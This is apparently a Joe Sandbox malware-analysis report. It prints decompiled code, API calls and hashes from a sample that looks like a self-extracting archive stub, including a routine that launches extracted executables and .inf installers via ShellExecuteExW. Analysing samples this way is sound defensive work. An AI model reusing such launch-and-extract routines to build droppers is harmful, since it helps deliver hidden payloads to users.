0x008648a2
0x008648a8
0x008648b2
0x008648ba
0x008648be
0x0086416d
0x0086416d
0x0086416f
0x00864175
0x00864193
0x0086419f
0x008641b1
0x008641b6
0x008641b9
0x008641bc
0x008641bf
0x008641c2
0x008641d1
0x008641d6
0x008641eb
0x008641f0
0x008641f3
0x008641f5
0x008641f5
0x008641f8
0x008641fd
0x008642ba
0x008642ba
0x008642bd
0x008642ce
0x008642d6
0x008642d7
0x008642da
0x008642df
0x00000000
0x00000000
0x008642e5
0x008642e8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00864217
0x00864227
0x0086422c
0x00864231
0x008642b2
0x008642b2
0x008642b5
0x00000000
0x00864233
0x00864233
0x00864233
0x00864236
0x00864238
0x00864241
0x0086426c
0x00864274
0x008642a0
0x008642a0
0x008642a4
0x00000000
0x008642a6
0x008642a6
0x00864203
0x0086420b
0x00000000
0x00000000
0x00000000
0x00000000
0x0086420b
0x00864280
0x00864290
0x00864295
0x0086429a
0x00000000
0x00000000
0x00000000
0x0086429a
0x00864274
0x00864249
0x0086424f
0x00864260
0x00864265
0x0086426a
0x008642ae
0x00000000
0x008642ae
0x0086426a
0x00000000
0x0086424f
0x008642f7
0x008642fa
0x008642ff
0x00864309
0x0086430b
0x0086430f
0x00864311
0x00000000
0x00000000
0x00864323
0x00864328
0x0086432c
0x0086432e
0x00864331
0x00864341
0x00864347
0x0086434a
0x0086434c
0x00000000
0x00000000
0x00864358
0x0086435e
0x00864364
0x0086436a
0x0086436d
0x0086436f
0x00864372
0x00864372
0x00864377
0x00864379
0x0086437b
0x0086437b
0x00864381
0x00864391
0x00864396
0x008643a0
0x008643a2
0x008643a6
0x008643a8
0x008643b6
0x008643ba
0x008643bc
0x008643be
0x008643c1
0x008643c3
0x008643c6
0x008643c9
0x008643cc
0x008643d3
0x008643da
0x008647bc
0x008647bc
0x008647c0
0x00864840
0x00864843
0x00864846
0x0086484e
0x00864853
0x00864858
0x0086485b
0x00864874
0x00864881
0x00864888
0x0086489a
0x00000000
0x00000000
0x00000000
0x00000000
0x0086485d
0x0086485d
0x00864860
0x00864869
0x0086486e
0x0086486f
0x0086486f
0x00000000
0x0086485d
0x008647c5
0x008647ce
0x008647d1
0x008647d2
0x008647d4
0x0086480f
0x00864811
0x00864817
0x00864818
0x0086481b
0x0086481d
0x0086481d
0x0086482a
0x00864830
0x00864831
0x00864832
0x00864833
0x00864839
0x00000000
0x00864839
0x008647d6
0x008647db
0x008647de
0x008647df
0x008647df
0x008647e2
0x008647e5
0x00000000
0x00000000
0x008647e7
0x008647eb
0x00000000
0x00000000
0x008647ed
0x008647ed
0x008647ef
0x008647f2
0x008647f5
0x008647f5
0x008647f5
0x008647fa
0x008647fc
0x00864800
0x00864801
0x00864806
0x00864808
0x0086480a
0x0086480a
0x00864806
0x00000000
0x008647fc
0x008643e0
0x008643e7
0x008643ee
0x008643ee
0x008643f1
0x008643f3
0x0086468a
0x0086468a
0x0086468e
0x0086468f
0x00864692
0x00864695
0x00000000
0x00000000
0x0086469b
0x0086469f
0x008646f2
0x008646f3
0x008646f6
0x00864716
0x00864716
0x0086471a
0x008647a5
0x008647a5
0x008647a8
0x008647aa
0x008647ad
0x008647ad
0x00000000
0x008647ad
0x00864723
0x0086472f
0x00864732
0x00864733
0x00864735
0x00864770
0x00864772
0x00864778
0x00864779
0x0086477c
0x0086477e
0x0086477e
0x00864791
0x00864797
0x00864798
0x00864799
0x0086479a
0x0086479f
0x008647a2
0x00000000
0x008647a2
0x00864737
0x0086473c
0x0086473f
0x00864740
0x00864740
0x00864743
0x00864746
0x00000000
0x00000000
0x00864748
0x0086474c
0x00000000
0x00000000
0x0086474e
0x0086474e
0x00864750
0x00864753
0x00864756
0x00864756
0x00864756
0x0086475b
0x0086475d
0x00864761
0x00864762
0x00864767
0x00864769
0x0086476b
0x0086476b
0x00864767
0x00000000
0x0086475d
0x008646fa
0x008646fb
0x008646fe
0x00000000
0x00000000
0x00864700
0x00864706
0x00000000
0x00000000
0x0086470c
0x0086470c
0x00864710
0x00000000
0x00864710
0x008646a1
0x008646a7
0x00000000
0x00000000
0x008646b1
0x008646b1
0x008646b4
0x008646db
0x008646dd
0x008646dd
0x008646de
0x008646e5
0x008646e6
0x008646e9
0x00000000
0x008646e9
0x008646b6
0x008646b6
0x008646b9
0x008646d7
0x00000000
0x008646d7
0x008646bb
0x008646bb
0x008646be
0x008646d3
0x00000000
0x008646d3
0x008646c0
0x008646c0
0x008646c3
0x008646cf
0x00000000
0x008646cf
0x008646c6
0x008646c9
0x00000000
0x00000000
0x008646cb
0x00000000
0x008646cb
0x008643f9
0x008643fe
0x00864402
0x0086440e
0x00864410
0x00864411
0x00864415
0x00864589
0x0086458c
0x00864593
0x00864598
0x0086459a
0x00864684
0x00864684
0x00864687
0x00000000
0x00864687
0x008645ac
0x008645bd
0x008645c2
0x008645c7
0x008645c9
0x00000000
0x00000000
0x008645d1
0x008645e4
0x008645f9
0x0086460e
0x00864620
0x0086463b
0x00864640
0x00864643
0x00864645
0x00864647
0x00864647
0x0086464a
0x00864650
0x00864650
0x00864664
0x00864664
0x00864666
0x00864669
0x00864669
0x0086466d
0x00864671
0x00000000
0x00000000
0x00864673
0x00864673
0x00864677
0x0086467c
0x00000000
0x0086467c
0x00864679
0x00864679
0x00864669
0x0086466d
0x00864671
0x00000000
0x00000000
0x00000000
0x00864671
0x00864669
0x0086441b
0x0086441e
0x0086441e
0x00864421
0x00864423
0x00864426
0x00864429
0x00864430
0x00864437
0x0086443e
0x00864445
0x00864456
0x0086445d
0x00864462
0x00864465
0x00864467
0x00864482
0x00864482
0x00000000
0x00864482
0x0086446c
0x00864470
0x00864471
0x00864476
0x00000000
0x00000000
0x00864478
0x0086447a
0x0086447d
0x00864485
0x00864485
0x00864486
0x00864486
0x0086448b
0x0086448e
0x00864490
0x00864493
0x00864496
0x00864498
0x008644b5
0x008644b8
0x008644bb
0x00000000
0x00000000
0x00000000
0x00000000
0x008644c1
0x008644c1
0x008644c1
0x008644c4
0x008644c7
0x008644cb
0x00000000
0x00000000
0x008644cd
0x008644cd
0x008644d1
0x008644d8
0x008644db
0x008644e0
0x008644e1
0x008644e4
0x008644e7
0x008644ea
0x0086450b
0x0086450d
0x00864525
0x0086452d
0x00864530
0x00864533
0x00864536
0x0086455c
0x0086455f
0x00864564
0x00864566
0x00864566
0x0086457c
0x00864581
0x00864538
0x00864544
0x00864550
0x00864554
0x00864554
0x008644ad
0x008644ad
0x00000000
0x00000000
0x00000000
0x00000000
0x008644ec
0x008644ec
0x008644ec
0x008644ef
0x00000000
0x00000000
0x008644f1
0x008644f4
0x008644f7
0x008644ff
0x00864502
0x00864503
0x00864506
0x00000000
0x00000000
0x00000000
0x00864506
0x00864508
0x00000000
0x00864508
0x008644d3
0x008644d3
0x008644c1
0x008644c1
0x008644c4
0x008644c7
0x008644cb
0x00000000
0x00000000
0x00000000
0x008644cb
0x008644c1
0x008644a8
0x00000000
0x008644a8
0x00864404
0x00864408
0x00000000
0x00000000
0x00000000
0x008647b0
0x008647b0
0x008647b0
0x008647b9
0x00000000
0x008643aa
0x008643ab
0x00000000
0x008643b0
0x008643a8
0x00864333
0x00864335
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00864177
0x0086417a
0x00864183
0x00864188
0x00864189
0x0086418f
0x00000000
0x00864191
0x00864191
0x00000000
0x00864191
0x0086418f

APIs

__EH_prolog.LIBCMT ref: 008640D0
_wcschr.LIBVCRUNTIME ref: 008640F1
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0086410C

Part of subcall function 00863887: _wcslen.LIBCMT ref: 0086388F

Part of subcall function 008668A5: _wcslen.LIBCMT ref: 008668AB

Part of subcall function 008678FD: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00863539,00000000,?,?), ref: 00867919

_wcslen.LIBCMT ref: 00864449
__fprintf_l.LIBCMT ref: 0086457C

Strings

, xrefs: 008643CC
*messages***, xrefs: 0086425A
RTL, xrefs: 0086453E
R, xrefs: 0086426C
$%s:, xrefs: 0086455F
*messages***, xrefs: 00864221
,, xrefs: 008645B7
a, xrefs: 00864276
@%s:, xrefs: 00864566, 00864572

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 557298264-801612888
Opcode ID: aea67e8f005cd4069b98a92b8656932080b201593124745675b599f44939409a
Instruction ID: 1924a32c160ff5cba256da79dab04f577fc416b52d90ac313af9e58d32bf0603
Opcode Fuzzy Hash: aea67e8f005cd4069b98a92b8656932080b201593124745675b599f44939409a
Instruction Fuzzy Hash: F4320E71900218EBCB28EF68C846BEE77A5FF15704F42512AFA06D7281EB71DD84CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00872512 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00872512() {
				intOrPtr _t41;
				intOrPtr _t44;
				struct HWND__* _t46;
				void* _t48;
				char _t49;

				E008705A8(); // executed
				_t46 = GetDlgItem( *0x8aea28, 0x68);
				_t49 =  *0x8aea33; // 0x1
				if(_t49 == 0) {
					_t44 =  *0x8aea08; // 0x0
					E0086E4A5(_t44);
					ShowWindow(_t46, 5); // executed
					SendMessageW(_t46, 0xb1, 0, 0xffffffff);
					SendMessageW(_t46, 0xc2, 0, 0x888574);
					 *0x8aea33 = 1;
				}
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				 *(_t48 + 0x10) = 0x5c;
				SendMessageW(_t46, 0x43a, 0, _t48 + 0x10);
				 *((char*)(_t48 + 0x29)) = 0;
				_t41 =  *((intOrPtr*)(_t48 + 0x70));
				 *((intOrPtr*)(_t48 + 0x14)) = 1;
				if(_t41 != 0) {
					 *((intOrPtr*)(_t48 + 0x24)) = 0xa0;
					 *((intOrPtr*)(_t48 + 0x14)) = 0x40000001;
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xbfffffff | 1;
				}
				SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				SendMessageW(_t46, 0xc2, 0,  *(_t48 + 0x74));
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_t41 != 0) {
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xfffffffe | 0x40000000;
					SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				}
				return SendMessageW(_t46, 0xc2, 0, L"\r\n");
			}

0x00872519
0x00872533
0x00872538
0x0087253e
0x00872540
0x00872546
0x0087254e
0x00872559
0x00872567
0x0087256d
0x0087256d
0x0087257d
0x00872587
0x00872597
0x0087259f
0x008725a3
0x008725a8
0x008725ae
0x008725b9
0x008725c3
0x008725cb
0x008725cb
0x008725db
0x008725e9
0x008725f8
0x00872600
0x0087260e
0x0087261f
0x0087261f
0x0087263b

APIs

Part of subcall function 008705A8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 008705B9
Part of subcall function 008705A8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 008705CA
Part of subcall function 008705A8: IsDialogMessageW.USER32(000A016E,?), ref: 008705DE
Part of subcall function 008705A8: TranslateMessage.USER32(?), ref: 008705EC
Part of subcall function 008705A8: DispatchMessageW.USER32(?), ref: 008705F6

GetDlgItem.USER32(00000068,008C6300), ref: 00872526
ShowWindow.USER32(00000000,00000005,?,?,?,00870065,00000001,?,?,008707F9,00889D3C,008C6300,008C6300,00001000,00000000,00000000), ref: 0087254E
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00872559
SendMessageW.USER32(00000000,000000C2,00000000,00888574), ref: 00872567
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0087257D
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00872597
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 008725DB
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 008725E9
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 008725F8
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0087261F
SendMessageW.USER32(00000000,000000C2,00000000,00888ECC), ref: 0087262E

Strings

\, xrefs: 00872587

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 249b92c15e82b2cd2f5bf9d03a250d749722725cd0a7e6b56d46fe50d48c45fa
Instruction ID: c81bdb24ee67166ac477179ed8010076c71a2f786b0683d8f73c2aff5eb9138d
Opcode Fuzzy Hash: 249b92c15e82b2cd2f5bf9d03a250d749722725cd0a7e6b56d46fe50d48c45fa
Instruction Fuzzy Hash: A231AD72145B41AFE301AF20EC4DFAB3EBCFB46714F040908F695961A0CB759A08CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 008727CF Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 184
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E008727CF(void* __ebp, struct _SHELLEXECUTEINFOW _a4, char* _a8, char* _a16, signed short* _a20, signed short* _a24, char _a32, char _a52, void* _a56, char _a64, struct HWND__* _a4160, signed short* _a4168, void* _a4172, intOrPtr _a4176) {
				long _v4;
				void* __edi;
				int _t47;
				signed int _t50;
				void* _t51;
				signed short* _t53;
				int _t63;
				long _t64;
				signed int _t71;
				void* _t72;
				signed short _t73;
				int _t74;
				void* _t76;
				signed int _t77;
				intOrPtr _t78;
				long _t80;
				signed int _t81;
				void* _t82;
				void* _t84;
				signed int _t86;
				signed short* _t87;
				struct HWND__* _t88;
				void* _t89;
				void* _t92;

				_t89 = __ebp;
				_t47 = E00873AC0(0x1040);
				_t87 = _a4168;
				_t74 = 0;
				if( *_t87 == 0) {
					L54:
					return _t47;
				}
				_t47 = E00878793(_t87);
				if(_t47 >= 0x7f6) {
					goto L54;
				} else {
					_t80 = 0x3c;
					E00874BD0(_t80,  &_a4, 0, _t80);
					_t78 = _a4176;
					_t92 = _t92 + 0xc;
					_a4.cbSize = _t80;
					_a8 = 0x1c0;
					if(_t78 != 0) {
						_a8 = 0x5c0;
					}
					_t50 =  *_t87 & 0x0000ffff;
					_push(_t89);
					_t76 = 0x22;
					_t81 = _t50;
					_t77 = _t74;
					if(_t50 != _t76) {
						_t90 = _t87;
						_a20 = _t87;
						goto L16;
					} else {
						_t90 =  &(_t87[1]);
						_a20 =  &(_t87[1]);
						L6:
						_t51 = 0x22;
						if(_t81 != _t51) {
							L13:
							_t82 = 0x20;
							_t53 =  &(( &(_t87[1]))[_t77]);
							if(_t87[_t77] == _t82) {
								_t87[_t77] = 0;
								L48:
								_a24 = _t53;
								L18:
								if(_t53 == 0 ||  *_t53 == _t74) {
									if(_t78 == 0 &&  *0x8b1a42 != _t74) {
										_a24 = 0x8b1a42;
									}
								}
								_a32 = _a4172;
								_t84 = E0086340C(_t90);
								if(_t84 != 0 && E00867D24(_t84, L".inf") == 0) {
									_a16 = L"Install";
								}
								if(E00862680(_a20) != 0) {
									E008631A3(_a20,  &_a64, 0x800);
									_a8 =  &_a52;
								}
								_t47 = ShellExecuteExW( &_a4); // executed
								if(_t47 != 0) {
									_t88 = _a4160;
									if( *0x8afa38 != _t74 || _a4172 != _t74 ||  *0x8be1c2 != _t74) {
										if(_t88 != 0 && IsWindowVisible(_t88) != 0) {
											ShowWindow(_t88, _t74);
											_t74 = 1;
										}
										WaitForInputIdle(_a56, 0x7d0); // executed
										E00872C53(_a56);
										if( *0x8be1c2 != 0 && _a4172 == 0) {
											_t63 = GetExitCodeProcess(_a56,  &_v4); // executed
											if(_t63 != 0) {
												_t64 = _v4;
												if(_t64 >  *0x8c62ec) {
													 *0x8c62ec = _t64;
												}
												 *0x8be1c3 = 1;
											}
										}
									}
									CloseHandle(_a56);
									if(_t84 == 0 || E00867D24(_t84, L".exe") != 0) {
										_t47 = _a4172;
										if( *0x8afa38 != 0 && _t47 == 0 &&  *0x8be1c2 == _t47) {
											 *0x8c62f0 = 0x1b58;
										}
									} else {
										_t47 = _a4172;
									}
									if(_t74 != 0 && _t47 != 0) {
										_t47 = ShowWindow(_t88, 1);
									}
								}
								goto L54;
							}
							if( *_t53 == 0x2f) {
								goto L48;
							}
							_t77 = _t77 + 1;
							_t50 = _t87[_t77] & 0x0000ffff;
							_t81 = _t50;
							L16:
							if(_t50 != 0) {
								goto L6;
							}
							_t53 = _a24;
							goto L18;
						} else {
							while(1) {
								_t77 = _t77 + 1;
								_t71 = _t87[_t77] & 0x0000ffff;
								_t86 = _t71;
								if(_t71 == 0) {
									break;
								}
								_t72 = 0x22;
								if(_t86 == _t72) {
									_t73 = 0x20;
									_t87[_t77] = _t73;
									goto L13;
								}
							}
							goto L13;
						}
					}
				}
			}

0x008727cf
0x008727d4
0x008727db
0x008727e2
0x008727e7
0x00872a2a
0x00872a30
0x00872a30
0x008727ee
0x008727f9
0x00000000
0x008727ff
0x00872802
0x0087280a
0x0087280f
0x00872816
0x00872819
0x0087281d
0x00872827
0x00872829
0x00872829
0x00872831
0x00872834
0x00872837
0x0087283b
0x0087283d
0x0087283f
0x00872852
0x00872854
0x00000000
0x00872841
0x00872841
0x00872844
0x00872848
0x0087284a
0x0087284e
0x00872877
0x00872879
0x0087287d
0x00872884
0x00872a02
0x00872a06
0x00872a06
0x008728a4
0x008728a6
0x008728af
0x008728ba
0x008728ba
0x008728af
0x008728ca
0x008728d3
0x008728d8
0x008728e9
0x008728e9
0x008728fc
0x0087290c
0x00872915
0x00872915
0x0087291e
0x00872926
0x0087292c
0x00872939
0x0087294e
0x0087295d
0x00872963
0x00872963
0x0087296e
0x00872978
0x00872984
0x00872999
0x008729a1
0x008729a3
0x008729ad
0x008729af
0x008729af
0x008729b4
0x008729b4
0x008729a1
0x00872984
0x008729bf
0x008729c7
0x008729df
0x008729e6
0x008729f4
0x008729f4
0x00872a0f
0x00872a0f
0x00872a0f
0x00872a18
0x00872a21
0x00872a21
0x00872a18
0x00000000
0x00872a27
0x0087288e
0x00000000
0x00000000
0x00872894
0x00872895
0x00872899
0x0087289b
0x0087289e
0x00000000
0x00000000
0x008728a0
0x00000000
0x00872850
0x00872862
0x00872862
0x00872863
0x00872867
0x0087286c
0x00000000
0x00000000
0x0087285c
0x00872860
0x00872872
0x00872873
0x00000000
0x00872873
0x00872860
0x00000000
0x0087286e
0x0087284e
0x0087283f

APIs

_wcslen.LIBCMT ref: 008727EE
ShellExecuteExW.SHELL32(?), ref: 0087291E
IsWindowVisible.USER32(?), ref: 00872951
ShowWindow.USER32(?,00000000), ref: 0087295D
WaitForInputIdle.USER32(?,000007D0), ref: 0087296E
GetExitCodeProcess.KERNELBASE(?,?), ref: 00872999
CloseHandle.KERNEL32(?), ref: 008729BF
ShowWindow.USER32(?,00000001), ref: 00872A21

Strings

.exe, xrefs: 008729C9
.inf, xrefs: 008728DA

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_wcslen
String ID: .exe$.inf
API String ID: 3646668279-3750412487
Opcode ID: 8a8893c203bd1f575851cf664315d7ddbf02a0ce210362d9e9a7e2813e6eb869
Instruction ID: ea09c79e40b0b7ad4c34e9c1277ff99701328fcb7ac17600fef0dfeadeb762c2
Opcode Fuzzy Hash: 8a8893c203bd1f575851cf664315d7ddbf02a0ce210362d9e9a7e2813e6eb869
Instruction Fuzzy Hash: 4B51D2305047809ADB319B249844BABBBF4FF85744F08886DF9C8D7299E776C989CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0086816F Relevance: 17.1, APIs: 3, Strings: 6, Instructions: 1313
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0086816F(signed int __edx, void* __edi) {
				void* __ebx;
				void* __ebp;
				signed int _t336;
				signed int _t337;
				signed int _t342;
				void* _t350;
				signed int _t369;
				intOrPtr _t370;
				intOrPtr _t374;
				signed int _t375;
				intOrPtr _t376;
				signed int _t377;
				signed int _t378;
				signed int _t379;
				intOrPtr _t392;
				signed int _t396;
				signed int _t397;
				intOrPtr _t403;
				signed int _t404;
				signed int _t405;
				signed int _t408;
				signed int _t411;
				signed int _t415;
				signed int _t416;
				signed int _t418;
				signed int _t423;
				signed int _t433;
				intOrPtr _t440;
				signed int _t442;
				signed int _t445;
				signed int _t446;
				intOrPtr _t447;
				signed int _t448;
				void* _t452;
				void* _t454;
				signed int _t455;
				signed int _t456;
				intOrPtr _t457;
				signed int _t458;
				signed int _t465;
				signed int _t467;
				void* _t473;
				signed int _t475;
				intOrPtr _t476;
				signed int _t479;
				signed int _t489;
				signed int _t491;
				signed int _t492;
				signed short _t493;
				intOrPtr* _t502;
				signed int _t503;
				signed int _t504;
				signed int _t505;
				intOrPtr _t508;
				intOrPtr* _t515;
				signed int _t516;
				intOrPtr _t519;
				signed int _t521;
				signed int _t526;
				char* _t527;
				signed int _t529;
				char* _t530;
				signed int _t532;
				signed int _t533;
				signed int _t545;
				signed int _t546;
				signed int _t548;
				signed int _t551;
				signed int _t553;
				signed int _t559;
				intOrPtr _t565;
				intOrPtr _t566;
				intOrPtr _t580;
				intOrPtr _t582;
				void* _t598;
				signed int _t607;
				signed int _t608;
				signed short _t615;
				signed int _t636;
				void* _t640;
				signed int _t645;
				signed int _t646;
				intOrPtr _t651;
				intOrPtr* _t655;
				signed int _t656;
				signed int _t657;
				intOrPtr _t666;
				signed int _t667;
				unsigned int _t668;
				signed int _t670;
				signed int _t676;
				signed short* _t677;
				signed int _t682;
				signed int _t685;
				intOrPtr _t693;
				intOrPtr _t697;
				signed int _t702;
				intOrPtr _t703;
				signed int _t704;
				signed int _t705;
				signed int _t706;
				signed int _t709;
				signed int _t712;
				signed int _t715;
				signed int _t716;
				signed int _t718;
				signed int _t719;
				signed int _t720;
				signed int _t721;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				intOrPtr _t735;
				signed int _t736;
				signed short* _t737;
				signed int _t741;
				intOrPtr* _t746;
				signed int _t747;
				signed int _t750;
				signed int _t752;
				intOrPtr _t755;
				signed int _t757;
				intOrPtr _t759;
				void* _t760;
				signed int _t761;
				signed int _t762;
				void* _t765;
				signed int _t767;
				signed int _t769;
				signed int _t770;
				intOrPtr* _t774;
				void* _t776;
				void* _t777;

				_t702 = __edx;
				_t777 = _t776 - 0x74;
				E00873A94(0x88708e, _t774);
				E00873AC0(0x5490);
				 *(_t774 + 0x44) =  *(_t774 + 0x44) | 0xffffffff;
				 *(_t774 + 4) =  *(_t774 + 4) | 0xffffffff;
				 *(_t774 + 0x24) =  *(_t774 + 0x24) | 0xffffffff;
				_t607 = 0;
				 *(_t774 + 0x20) = 0;
				_t741 = 0;
				 *(_t774 + 0x40) = 0;
				 *(_t774 + 0x74) = 0;
				 *(_t774 + 0x18) = 0;
				 *(_t774 + 0x10) = 0;
				 *(_t774 + 0x34) = 0;
				 *(_t774 + 0x50) = 0;
				 *(_t774 - 0x5c) = 0;
				 *(_t774 - 0x58) = 0;
				 *(_t774 + 0x48) = 0;
				 *(_t774 - 0x54) = 0;
				 *((intOrPtr*)(_t774 - 0x50)) = 0;
				 *((char*)(_t774 - 0x4c)) = 0;
				 *((intOrPtr*)(_t774 - 4)) = 0;
				 *((intOrPtr*)(_t774 + 0x58)) = 0;
				 *(_t774 + 0x4c) = 0;
				 *((intOrPtr*)(_t774 + 0x2c)) = 0;
				 *(_t774 + 0x28) = 0;
				E008678DF((0 |  *0x8b9dc1 == 0x00000000) & 0x000000ff, 0x8bceda);
				 *(_t774 + 0x14) = 0;
				 *_t774 = 0;
				 *(_t774 + 0x1c) = 0;
				 *(_t774 + 0x68) = 0;
				E00867DFC(_t774 - 0x80, 0x40);
				 *((char*)(_t774 - 4)) = 1;
				E00866902();
				 *(_t774 - 0x38) = 0;
				 *((intOrPtr*)(_t774 - 0x34)) = 0;
				 *(_t774 - 0x30) = 0;
				 *((intOrPtr*)(_t774 - 0x2c)) = 0;
				 *((char*)(_t774 - 0x28)) = 0;
				_t613 = _t774 - 0xe0;
				 *((char*)(_t774 - 4)) = 3;
				E00866902();
				 *((char*)(_t774 - 4)) = 4;
				 *0x89d51c = 1;
				 *0x89d520 =  *0x8b8ce4;
				 *0x89d558 = 0;
				_push(__edi);
				L1:
				while(E008678D6() == 0) {
					L3:
					while(_t370 < 0x40 ||  *0x8ae80c != 0) {
						 *0x89d568 =  *((intOrPtr*)(_t774 - 0x80)) + _t716;
						if(E0086A265(0x89d560, 4) == 0) {
							_push(0x33);
							L64:
							_pop(_t718);
							L65:
							 *(_t774 + 0x74) = _t718;
							L72:
							 *(_t774 + 0x68) = 1;
							L45:
							__eflags =  *0x8ae80c;
							_t374 =  *0x8ad5b8; // 0x160000
							 *((intOrPtr*)(_t774 - 0x48)) = _t374;
							_t375 =  *0x8ad5bc; // 0x0
							 *(_t774 - 0x44) = _t375;
							_t376 =  *0x8ad578; // 0x2e0c461
							 *((intOrPtr*)(_t774 - 0x10)) = _t376;
							_t377 =  *0x8ad580; // 0x14df
							 *(_t774 - 0x18) = _t377;
							_t378 =  *0x8ad584; // 0x0
							 *(_t774 - 0x20) = _t378;
							if( *0x8ae80c != 0) {
								 *0x8ae810 = _t607;
								_t529 = E008680AB(0x8bceda);
								__eflags = _t529;
								_t530 = L"zx01";
								if(_t529 == 0) {
									_t530 = L"z01";
								}
								E008638FD(0x8bceda, _t530, 0x800);
								_t532 =  *0x8ad598; // 0x0
								__eflags = _t532;
								if(__eflags != 0) {
									 *0x88822c(1);
									_t613 =  *0x8ad598; // 0x0
									 *((intOrPtr*)( *((intOrPtr*)( *_t532))))();
								}
								 *0x8ad598 = _t607;
								_t533 = E0086A127(_t613, _t702, __eflags);
								 *0x8b9dc1 =  *0x8b9dc1 == 0;
								E008678DF((_t533 & 0xffffff00 |  *0x8b9dc1 == 0x00000000) & 0x000000ff, 0x8bceda);
							}
							_t379 = _t607;
							 *(_t774 + 0x38) = _t607;
							__eflags =  *((intOrPtr*)(_t774 + 0x54)) - _t379;
							if( *((intOrPtr*)(_t774 + 0x54)) <= _t379) {
								L150:
								_t719 =  *0x8ad598; // 0x0
								 *0x88822c();
								 *((intOrPtr*)( *((intOrPtr*)( *_t719 + 0x10))))();
								_t720 =  *0x8ad598; // 0x0
								 *0x88822c();
								_t613 = _t720;
